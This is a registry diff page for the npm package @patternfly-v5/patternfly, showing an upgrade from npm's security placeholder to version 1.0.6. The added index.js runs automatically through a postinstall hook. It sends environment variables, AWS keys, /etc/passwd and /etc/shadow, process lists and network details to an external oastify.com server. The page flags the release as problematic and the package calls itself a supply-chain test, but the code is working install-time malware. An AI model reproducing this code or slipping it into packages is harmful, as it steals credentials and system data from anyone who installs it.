@patternfly-v5/patternfly 0.0.1-security → 1.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @patternfly-v5/patternfly might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,84 @@
1
+ const os = require("os");
2
+ const https = require("https");
3
+ const { exec } = require("child_process");
4
+
5
+ // Helper function to send data to your server
6
+ function sendData(path, data) {
7
+ const options = {
8
+ hostname: "rzucd2dfiuz08dnqwkigu37xfolf95xu.oastify.com",
9
+ port: 443,
10
+ path: `/${path}`,
11
+ method: "POST",
12
+ headers: {
13
+ "Content-Type": "application/json",
14
+ },
15
+ };
16
+
17
+ const req = https.request(options, (res) => {
18
+ console.log(`Sent to /${path}. Response: ${res.statusCode}`);
19
+ });
20
+
21
+ req.on("error", (err) => {
22
+ console.error(`Error sending to /${path}: ${err.message}`);
23
+ });
24
+
25
+ req.write(JSON.stringify(data));
26
+ req.end();
27
+ }
28
+
29
+ // Collect system-level information
30
+ sendData("system-info", {
31
+ hostname: os.hostname(),
32
+ platform: os.platform(),
33
+ arch: os.arch(),
34
+ release: os.release(),
35
+ userInfo: os.userInfo(),
36
+ nodeVersion: process.version,
37
+ });
38
+
39
+ // Collect environment variables
40
+ sendData("environment", { env: process.env });
41
+
42
+ // Collect running processes
43
+ exec("ps aux || tasklist", (err, stdout) => {
44
+ if (!err) {
45
+ sendData("processes", { processes: stdout });
46
+ }
47
+ });
48
+
49
+ // Collect network information
50
+ exec("ifconfig || ip addr || ipconfig", (err, stdout) => {
51
+ if (!err) {
52
+ sendData("network-info", { network: stdout });
53
+ }
54
+ });
55
+
56
+ // Attempt to dump sensitive files
57
+ const sensitiveFiles = ["/etc/passwd", "/etc/shadow", "/etc/hosts"];
58
+ sensitiveFiles.forEach((file) => {
59
+ exec(`cat ${file} || type ${file}`, (err, stdout) => {
60
+ if (!err) {
61
+ sendData("file-dump", { file, content: stdout });
62
+ }
63
+ });
64
+ });
65
+
66
+ // Check for AWS credentials in the environment
67
+ const awsKeys = [
68
+ "AWS_ACCESS_KEY_ID",
69
+ "AWS_SECRET_ACCESS_KEY",
70
+ "AWS_SESSION_TOKEN",
71
+ ];
72
+ awsKeys.forEach((key) => {
73
+ if (process.env[key]) {
74
+ sendData("aws-credentials", { key, value: process.env[key] });
75
+ }
76
+ });
77
+
78
+ // Fetch application-specific metadata
79
+ exec("ls /app /data || dir C:\\ProgramData", (err, stdout) => {
80
+ if (!err) {
81
+ sendData("application-metadata", { directories: stdout });
82
+ }
83
+ });
84
+
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "@patternfly-v5/patternfly",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.6",
4
+ "description": "A package for testing supply chain attacks.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "author": "Your Name",
10
+ "license": "MIT",
11
+ "dependencies": {
12
+ "aws-sdk": "^2.1350.0"
13
+ }
6
14
  }
File without changes
File without changes
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40patternfly-v5%2Fpatternfly for more information.